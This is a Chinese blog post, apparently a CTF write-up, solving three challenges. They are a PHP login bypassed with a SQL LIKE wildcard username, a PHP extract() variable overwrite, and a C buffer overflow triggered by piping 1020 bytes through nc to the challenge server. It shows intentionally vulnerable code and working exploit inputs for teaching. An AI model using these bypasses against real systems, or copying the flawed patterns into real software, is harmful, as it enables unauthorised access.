今天来先把俩比较容易的写了。。别的暂时还没看懂。。
2012年 Web 200分 简单php审计 题
这里写这道Web题是因为这道题比较特殊,是一道代码审计的题目,而恰好比较容易,就写出来做基础了
[PHP] 纯文本查看 复制代码 $good = true;
include('mysql.php');
$key = 'key{...}';
$auth = false;
$admin = false;
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$mysql->real_query('SELECT * FROM `csaw`.`users` WHERE `user` LIKE "' . $mysql->real_escape_string($_POST['user']) . '";');
if ($mysql->errno != 0) {
echo('Error.');
} else {
$result = $mysql->store_result();
while ($row = $result->fetch_assoc()) {
if ( $_POST['pass'] == $row['pass'] ) {
$auth = true;
}
if ( $row['user'] == 'Administrator' ) {
$admin = true;
}
}
}
if ( $auth && $admin ) {
echo( $key );
}
}
这是题目所给出的一个php文件源码。
那题目的目的就必然是让我们寻找其中漏洞并bypass这个验证
很容易看出,他所做的事情应该就是类似于验证了下登陆
然后Key被存放在$key变量,而我们要做的就是满足最后一个if条件来让key被输出。
要满足最后一个if条件,就必须让auth和admin变量都为true,也就是要满足上面的两个if。
要满足上面两个if,其实只要用户名为Administrator且密码正确就行了。
很有趣的是这里他在执行sql语句的时候居然用的是LIKE
而且在验证身份的时候,两个if还是分开验证的。
如果是[PHP] 纯文本查看 复制代码 if ($_POST[‘pass’]==$row[‘pass’] && $row[‘user’] == ‘Administrator’) 或许就无懈可击了
但是它偏偏是分开的
那么我们就可以利用在SQL中,%符号可以被用作通配符这一个特点来完成验证。
我们可以注册一个用户,就叫Administrato%,密码随意设置,比如为123
然后登陆的时候,语句就变成了:
[SQL] 纯文本查看 复制代码 Select * from `csaw`.`user` where `user` like administrato%
于是这个%不再被当做是user变量中的一部分而是被当做一个通配符执行
这样就等于有了一个注入
于是这样被赋值到$row_[‘user’]的内容就自然变成了Administrator
然后就机智的得到了key
然后写到这里,突然想起来今年参加的XDSEC也有一道php代码审计题
正好昨天晚上看到有人发了XDSEC的题目,就恰好拿来讲一讲咯
[PHP] 纯文本查看 复制代码 $filename='x';
extract($_GET);
if(isset($attempt)){
$combination=trim(file_get_contents($filename));
if($attempt===$combination){
echo "<p>文件内容:".
"$combination!?</p>";
$next=file_get_contents('y');
echo "<p>Congratulation Key is:".
"$next</p>";
}else{
echo "<p>Incorrect!</p>"
}
}
其实我们看到extract就应该知道这里会有个变量覆盖漏洞
所以直接提交?attempt=&filename=test 就能拿到key了
————————————————————————————————
然后就讲道在CSAW CTF 2013出现的一道Exploitation题,这个应该是最简单的溢出了
我们能看到他给出部分源代码如下:
[C] 纯文本查看 复制代码 [snip]
void handle(int newsock) {
int backdoor = 0;
char buffer[1016];
memset(buffer, 0, 1016);
send(newsock, "Welcome to CSAW CTF.", 21, 0);
recv(newsock, buffer, 1020, 0);
buffer[1015] = 0;
if ( backdoor ) {
fd = fopen("./key", "r");
fscanf(fd, "%s\n", buffer);
send(newsock, buffer, 512, 0);
}
close(newsock);
}
[snip]
由于原来题目提供了一个ip让我们nc链接,然后现在那个ip已经连不上了,所以只能理论上来说一下不能实践截图了
这里其实我们很容易在看出来,在最后一个if条件里,如果backdoor这个变量为true或者1,那么程序就会读取./key文件并输出
这题其实很容易,我们看到在代码第三行,所定义的buffer[]数组长度为1016
而在下两行的recv函数中,将最多会有1020个长度的内容被复制到buffer[]
因此只要我们提交一个长于1016字符的内容,就会导致变量溢出
而同时就会这个变量的溢出就会覆盖backdoor的值
所以直接执行
$ python -c "print 'A'*1020" | nc 128.238.66.212 31337
就搞定了key了。
这里木有截图,但是代码都贴上来了~~
大家可以尝试自己补全代码并尝试 |